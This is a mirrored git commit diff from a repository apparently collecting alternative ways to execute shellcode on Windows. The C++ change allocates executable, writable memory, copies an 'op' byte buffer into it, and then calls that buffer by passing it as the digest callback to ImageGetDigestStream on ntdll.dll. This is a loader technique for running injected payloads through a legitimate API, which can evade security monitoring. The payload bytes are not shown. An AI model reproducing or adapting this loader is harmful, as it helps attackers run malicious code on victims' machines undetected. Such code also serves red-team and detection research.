mirror of
https://github.com/aahmad097/AlternativeShellcodeExec
synced 2026-06-06 15:14:28 +00:00
I am running out of things to put here
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <dbghelp.h>
|
||||
#include <imagehlp.h>
|
||||
|
||||
// Requires Imagehlp.lib
|
||||
|
||||
@@ -34,6 +34,16 @@ int main() {
|
||||
LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
::RtlMoveMemory(addr, op, sizeof(op));
|
||||
|
||||
|
||||
HANDLE hImg = ::CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
HANDLE dummy;
|
||||
|
||||
if (hImg) {
|
||||
|
||||
::ImageGetDigestStream(hImg, CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO, (DIGEST_FUNCTION)addr, &dummy);
|
||||
::CloseHandle(dummy);
|
||||
|
||||
}
|
||||
|
||||
::CloseHandle(hImg);
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user